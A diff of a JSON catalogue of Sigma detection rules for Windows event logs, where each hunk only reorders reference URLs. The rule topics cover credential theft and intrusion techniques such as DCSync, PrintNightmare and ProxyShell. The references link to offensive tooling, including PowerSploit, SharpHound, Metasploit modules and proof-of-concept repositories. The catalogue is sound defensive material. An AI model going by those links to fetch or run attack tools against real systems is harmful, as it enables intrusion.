"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" ], "tags": [ @@ -14127,8 +14125,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", + "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" ], "tags": [ @@ -14169,8 +14167,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" ], "tags": "No established tags" }, @@ -14188,8 +14186,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" ], "tags": "No established tags" }, @@ -14226,8 +14224,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" ], "tags": "No established tags" }, @@ -14245,8 +14243,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" ], "tags": "No established tags" }, @@ -14264,10 +14262,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml", "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" + "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1" ], "tags": [ "attack.discovery", @@ -14340,8 +14338,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/GossiTheDog/status/1429175908905127938", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml", + "https://twitter.com/GossiTheDog/status/1429175908905127938" ], "tags": [ "attack.persistence", @@ -14388,8 +14386,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml", + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430" ], "tags": [ "attack.defense_evasion", @@ -14412,8 +14410,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/OTR_Community/status/1371053369071132675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml", + "https://twitter.com/OTR_Community/status/1371053369071132675" ], "tags": [ "attack.persistence", @@ -14460,8 +14458,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml", + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20" ], "tags": [ "attack.persistence", @@ -14485,8 +14483,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/1004895028995477505", - "https://goo.gl/PsqrhT", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml", + "https://goo.gl/PsqrhT" ], "tags": [ "attack.lateral_movement", @@ -14535,8 +14533,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "n/a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml", + "n/a" ], "tags": [ "attack.command_and_control", @@ -14559,12 +14557,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", - "https://winaero.com/enable-openssh-server-windows-10/", "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", - "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml", + "https://winaero.com/enable-openssh-server-windows-10/", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx" ], "tags": [ "attack.lateral_movement", @@ -14587,10 +14585,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml", "https://twitter.com/fuzzyf10w/status/1410202370835898371", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" + "https://github.com/afwu/PrintNightmare", + "https://github.com/hhlxf/PrintNightmare" ], "tags": [ "attack.execution", @@ -14614,8 +14612,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/MalwareJake/status/1410421967463731200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml", + "https://twitter.com/MalwareJake/status/1410421967463731200" ], "tags": [ "attack.execution", @@ -14639,9 +14637,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml", + "https://o365blog.com/post/hybridhealthagent/" ], "tags": [ "attack.discovery", @@ -14664,9 +14662,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml", + "https://o365blog.com/post/hybridhealthagent/" ], "tags": [ "attack.discovery", @@ -14689,10 +14687,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml", "https://attack.mitre.org/techniques/T1134/001/", - "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" + "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation" ], "tags": [ "attack.defense_evasion", @@ -14716,9 +14714,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml", "https://twitter.com/menasec1/status/1111556090137903104", - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf" ], "tags": [ "attack.persistence", @@ -14741,8 +14739,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml", + "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html" ], "tags": [ "attack.discovery", @@ -14767,8 +14765,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml", + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf" ], "tags": [ "attack.privilege_escalation", @@ -14793,8 +14791,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf" ], "tags": [ "attack.privilege_escalation", @@ -14817,10 +14815,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743" ], "tags": "No established tags" }, @@ -14840,10 +14838,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672" ], "tags": "No established tags" }, @@ -14863,8 +14861,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://car.mitre.org/wiki/CAR-2016-04-005", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml", + "https://car.mitre.org/wiki/CAR-2016-04-005" ], "tags": [ "attack.lateral_movement", @@ -14913,8 +14911,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html" ], "tags": [ "attack.defense_evasion", @@ -14937,8 +14935,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml", + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html" ], "tags": [ "attack.credential_access", @@ -14961,8 +14959,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" ], @@ -14987,8 +14985,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml", + "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" ], "tags": [ "attack.persistence", @@ -15011,9 +15009,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://msdn.microsoft.com/en-us/library/cc220234.aspx", "https://adsecurity.org/?p=3466", "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", + "https://msdn.microsoft.com/en-us/library/cc220234.aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" ], "tags": [ @@ -15037,9 +15035,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=2053", "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml", + "https://adsecurity.org/?p=2053" ], "tags": [ "attack.defense_evasion", @@ -15063,11 +15061,11 @@ "logsource.product": "windows", "refs": [ "https://github.com/sensepost/ruler", - "https://github.com/sensepost/ruler/issues/47", - "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://github.com/sensepost/ruler/issues/47", + "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427" ], "tags": [ "attack.discovery", @@ -15094,8 +15092,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml", + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" ], "tags": [ "attack.persistence", @@ -15125,8 +15123,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml", + "https://securelist.com/apt-slingshot/84312/" ], "tags": [ "attack.persistence", @@ -15181,8 +15179,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml", + "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html" ], "tags": [ "attack.lateral_movement", @@ -15208,9 +15206,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml", "https://twitter.com/duzvik/status/1269671601852813320", - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072" ], "tags": [ "attack.collection", @@ -15233,10 +15231,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.sans.org/webcasts/119395", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml", + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/" ], "tags": [ "attack.execution", @@ -15263,9 +15261,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ @@ -15315,11 +15313,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" + "https://twitter.com/gentilkiwi/status/1003236624925413376" ], "tags": [ "attack.credential_access", @@ -15343,8 +15341,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml", + "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/" ], "tags": [ "attack.defense_evasion", @@ -15367,8 +15365,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" ], "tags": "No established tags" @@ -15389,8 +15387,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml", + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46" ], "tags": [ "attack.privilege_escalation" @@ -15412,8 +15410,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bit.ly/WinLogsZero2Hero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml", + "https://bit.ly/WinLogsZero2Hero" ], "tags": [ "attack.defense_evasion", @@ -15460,8 +15458,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml", + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html" ], "tags": [ "attack.credential_access", @@ -15484,16 +15482,16 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml" + "https://twitter.com/_xpn_/status/1268712093928378368", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" ], "tags": [ "attack.defense_evasion", @@ -15516,8 +15514,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml", + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml" ], "tags": [ "attack.t1070.001" @@ -15614,9 +15612,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml", "https://twitter.com/menasec1/status/1106899890377052160", - "https://www.secureworks.com/blog/ransomware-as-a-distraction", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" + "https://www.secureworks.com/blog/ransomware-as-a-distraction" ], "tags": [ "attack.persistence", @@ -15712,8 +15710,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml", + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html" ], "tags": [ "attack.credential_access", @@ -15738,8 +15736,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" + 